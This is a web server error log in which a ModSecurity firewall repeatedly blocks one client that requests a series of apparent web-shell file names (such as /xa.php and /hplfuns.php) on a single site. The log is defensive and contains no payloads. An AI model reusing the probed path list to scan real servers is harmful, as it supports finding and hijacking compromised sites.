[Fri Apr 17 04:44:08.796808 2026] [:error] [pid 9151:tid 9171] [client 20.199.113.127:62850] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeFKGMhTVuRPkua22vSAjAAAAAo"]
[Fri Apr 17 04:44:09.297166 2026] [:error] [pid 51878:tid 51889] [client 20.199.113.127:26026] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeFKGUnQhUtMbw9EsgYl9gAAAQk"]
[Fri Apr 17 04:44:09.843354 2026] [:error] [pid 9152:tid 9200] [client 20.199.113.127:51926] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "aeFKGZJYca8I3TNCwIfxGAAAAEo"]
[Fri Apr 17 04:44:10.363114 2026] [:error] [pid 51878:tid 51897] [client 20.199.113.127:62197] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeFKGknQhUtMbw9EsgYmCQAAARE"]
[Fri Apr 17 04:44:10.854983 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:58486] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeFKGknQhUtMbw9EsgYmFgAAAQI"]
[Fri Apr 17 04:44:11.346299 2026] [:error] [pid 9152:tid 9206] [client 20.199.113.127:25503] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeFKG5JYca8I3TNCwIfxGwAAAFA"]
[Fri Apr 17 04:44:11.817089 2026] [:error] [pid 9152:tid 9194] [client 20.199.113.127:25490] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aeFKG5JYca8I3TNCwIfxHAAAAEQ"]
[Fri Apr 17 04:44:12.324356 2026] [:error] [pid 9152:tid 9191] [client 20.199.113.127:62148] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeFKHJJYca8I3TNCwIfxIgAAAEE"]
[Fri Apr 17 04:44:12.848429 2026] [:error] [pid 9153:tid 9234] [client 20.199.113.127:62849] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeFKHOMHGxkTZX3c45faLwAAAJA"]
[Fri Apr 17 04:44:13.339651 2026] [:error] [pid 9152:tid 9196] [client 20.199.113.127:62869] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeFKHZJYca8I3TNCwIfxKgAAAEY"]
[Fri Apr 17 04:44:13.850135 2026] [:error] [pid 51878:tid 51886] [client 20.199.113.127:62205] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aeFKHUnQhUtMbw9EsgYmRQAAAQY"]
[Fri Apr 17 04:44:14.374992 2026] [:error] [pid 9263:tid 9267] [client 20.199.113.127:54543] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeFKHhP68VyHNvj1e57LAQAAAMI"]
[Fri Apr 17 04:44:14.868615 2026] [:error] [pid 51878:tid 51895] [client 20.199.113.127:25491] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeFKHknQhUtMbw9EsgYmTwAAAQ8"]
[Fri Apr 17 04:44:15.349565 2026] [:error] [pid 51878:tid 51889] [client 20.199.113.127:36359] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeFKH0nQhUtMbw9EsgYmVgAAAQk"]
[Fri Apr 17 04:44:15.823426 2026] [:error] [pid 9263:tid 9270] [client 20.199.113.127:36396] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aeFKHxP68VyHNvj1e57LDQAAAMU"]
[Fri Apr 17 04:44:16.311855 2026] [:error] [pid 51878:tid 51894] [client 20.199.113.127:62155] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeFKIEnQhUtMbw9EsgYmZwAAAQ4"]
[Fri Apr 17 04:44:16.785674 2026] [:error] [pid 51878:tid 51886] [client 20.199.113.127:51962] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeFKIEnQhUtMbw9EsgYmawAAAQY"]
[Fri Apr 17 04:44:17.305796 2026] [:error] [pid 9152:tid 9190] [client 20.199.113.127:62893] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeFKIZJYca8I3TNCwIfxNgAAAEA"]
[Fri Apr 17 04:44:17.845069 2026] [:error] [pid 9153:tid 9231] [client 20.199.113.127:62154] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3.php"] [unique_id "aeFKIeMHGxkTZX3c45faQwAAAI0"]
[Fri Apr 17 04:44:18.462485 2026] [:error] [pid 9153:tid 9230] [client 20.199.113.127:25523] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeFKIuMHGxkTZX3c45faSwAAAIw"]
[Fri Apr 17 04:44:18.954697 2026] [:error] [pid 9151:tid 9174] [client 20.199.113.127:62904] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeFKIshTVuRPkua22vSAmAAAAA0"]
[Fri Apr 17 04:44:19.453462 2026] [:error] [pid 9152:tid 9214] [client 20.199.113.127:54590] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeFKI5JYca8I3TNCwIfxOAAAAFg"]
[Fri Apr 17 04:44:19.947509 2026] [:error] [pid 9263:tid 9288] [client 20.199.113.127:25476] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4.php"] [unique_id "aeFKIxP68VyHNvj1e57LOgAAANc"]
[Fri Apr 17 04:44:20.424076 2026] [:error] [pid 9151:tid 9178] [client 20.199.113.127:51915] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeFKJMhTVuRPkua22vSAnwAAABE"]
[Fri Apr 17 04:44:20.898589 2026] [:error] [pid 9152:tid 9195] [client 20.199.113.127:54536] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeFKJJJYca8I3TNCwIfxPgAAAEU"]
[Fri Apr 17 04:44:21.383498 2026] [:error] [pid 9263:tid 9287] [client 20.199.113.127:25987] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeFKJRP68VyHNvj1e57LQwAAANY"]
[Fri Apr 17 04:44:21.888405 2026] [:error] [pid 9263:tid 9289] [client 20.199.113.127:25512] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5.php"] [unique_id "aeFKJRP68VyHNvj1e57LRgAAANg"]
[Fri Apr 17 04:44:22.431429 2026] [:error] [pid 9153:tid 9221] [client 20.199.113.127:54571] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeFKJuMHGxkTZX3c45faXQAAAIM"]
[Fri Apr 17 04:44:22.944448 2026] [:error] [pid 51878:tid 51886] [client 20.199.113.127:45625] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeFKJknQhUtMbw9EsgYmmwAAAQY"]
[Fri Apr 17 04:44:23.445617 2026] [:error] [pid 9153:tid 9220] [client 20.199.113.127:58474] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeFKJ-MHGxkTZX3c45faZQAAAII"]
[Fri Apr 17 04:44:23.948404 2026] [:error] [pid 9153:tid 9225] [client 20.199.113.127:25989] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "aeFKJ-MHGxkTZX3c45faagAAAIc"]
[Fri Apr 17 04:44:24.535344 2026] [:error] [pid 9263:tid 9271] [client 20.199.113.127:62167] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeFKKBP68VyHNvj1e57LXQAAAMY"]
[Fri Apr 17 04:44:25.094005 2026] [:error] [pid 51878:tid 51890] [client 20.199.113.127:45624] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeFKKUnQhUtMbw9EsgYmsgAAAQo"]
[Fri Apr 17 04:44:25.622859 2026] [:error] [pid 9151:tid 9177] [client 20.199.113.127:62175] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeFKKchTVuRPkua22vSAxQAAABA"]
[Fri Apr 17 04:44:26.111771 2026] [:error] [pid 51878:tid 51903] [client 20.199.113.127:54555] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "aeFKKknQhUtMbw9EsgYmuwAAARc"]
[Fri Apr 17 04:44:26.634968 2026] [:error] [pid 51878:tid 51897] [client 20.199.113.127:51946] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeFKKknQhUtMbw9EsgYmwQAAARE"]
[Fri Apr 17 04:44:27.106293 2026] [:error] [pid 51878:tid 51881] [client 20.199.113.127:25528] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeFKK0nQhUtMbw9EsgYmzAAAAQE"]
[Fri Apr 17 04:44:27.645025 2026] [:error] [pid 51878:tid 51891] [client 20.199.113.127:25495] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "aeFKK0nQhUtMbw9EsgYm0QAAAQs"]
[Fri Apr 17 04:44:46.945915 2026] [:error] [pid 51878:tid 51894] [client 20.199.113.127:25476] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeFKPknQhUtMbw9EsgYn4QAAAQ4"]
[Fri Apr 17 04:44:47.464572 2026] [:error] [pid 9263:tid 9286] [client 20.199.113.127:62184] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeFKPxP68VyHNvj1e57LrgAAANU"]
[Fri Apr 17 04:44:47.968931 2026] [:error] [pid 9151:tid 9183] [client 20.199.113.127:25992] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeFKP8hTVuRPkua22vSBAgAAABY"]
[Fri Apr 17 04:44:48.450398 2026] [:error] [pid 51878:tid 51892] [client 20.199.113.127:54588] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aeFKQEnQhUtMbw9EsgYn7AAAAQw"]
[Fri Apr 17 04:44:48.984732 2026] [:error] [pid 51878:tid 51896] [client 20.199.113.127:25489] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeFKQEnQhUtMbw9EsgYn9QAAARA"]
[Fri Apr 17 04:44:49.541286 2026] [:error] [pid 51878:tid 51902] [client 20.199.113.127:25486] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeFKQUnQhUtMbw9EsgYoAwAAARY"]
[Fri Apr 17 04:44:50.051721 2026] [:error] [pid 9152:tid 9206] [client 20.199.113.127:51933] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeFKQpJYca8I3TNCwIfxiQAAAFA"]
[Fri Apr 17 04:44:50.534039 2026] [:error] [pid 9152:tid 9192] [client 20.199.113.127:25535] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "aeFKQpJYca8I3TNCwIfxjAAAAEI"]
[Fri Apr 17 04:44:51.005610 2026] [:error] [pid 9263:tid 9281] [client 20.199.113.127:4570] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeFKQxP68VyHNvj1e57LugAAANA"]
[Fri Apr 17 04:44:51.515481 2026] [:error] [pid 9263:tid 9269] [client 20.199.113.127:62907] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeFKQxP68VyHNvj1e57LvgAAAMQ"]
[Fri Apr 17 04:44:51.989502 2026] [:error] [pid 51878:tid 51882] [client 20.199.113.127:25505] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeFKQ0nQhUtMbw9EsgYoGwAAAQI"]
[Fri Apr 17 04:44:52.460362 2026] [:error] [pid 9153:tid 9229] [client 20.199.113.127:51932] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fine.php"] [unique_id "aeFKROMHGxkTZX3c45fa2AAAAIs"]
[Fri Apr 17 04:44:52.996988 2026] [:error] [pid 51878:tid 51880] [client 20.199.113.127:54568] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeFKREnQhUtMbw9EsgYoJgAAAQA"]
[Fri Apr 17 04:44:53.511780 2026] [:error] [pid 9152:tid 9203] [client 20.199.113.127:54546] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeFKRZJYca8I3TNCwIfxmAAAAE0"]
[Fri Apr 17 04:44:54.031065 2026] [:error] [pid 9263:tid 9278] [client 20.199.113.127:62204] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeFKRhP68VyHNvj1e57L0QAAAM0"]
[Fri Apr 17 04:44:54.533287 2026] [:error] [pid 9263:tid 9283] [client 20.199.113.127:54552] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aeFKRhP68VyHNvj1e57L1gAAANI"]
[Fri Apr 17 04:44:55.037851 2026] [:error] [pid 9151:tid 9162] [client 20.199.113.127:26004] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeFKR8hTVuRPkua22vSBIQAAAAE"]
[Fri Apr 17 04:44:55.531922 2026] [:error] [pid 9152:tid 9202] [client 20.199.113.127:36306] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeFKR5JYca8I3TNCwIfxqQAAAEw"]
[Fri Apr 17 04:44:56.056005 2026] [:error] [pid 51878:tid 51898] [client 20.199.113.127:25985] [client 20.199.113.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeFKSEnQhUtMbw9EsgYoOAAAARI"]
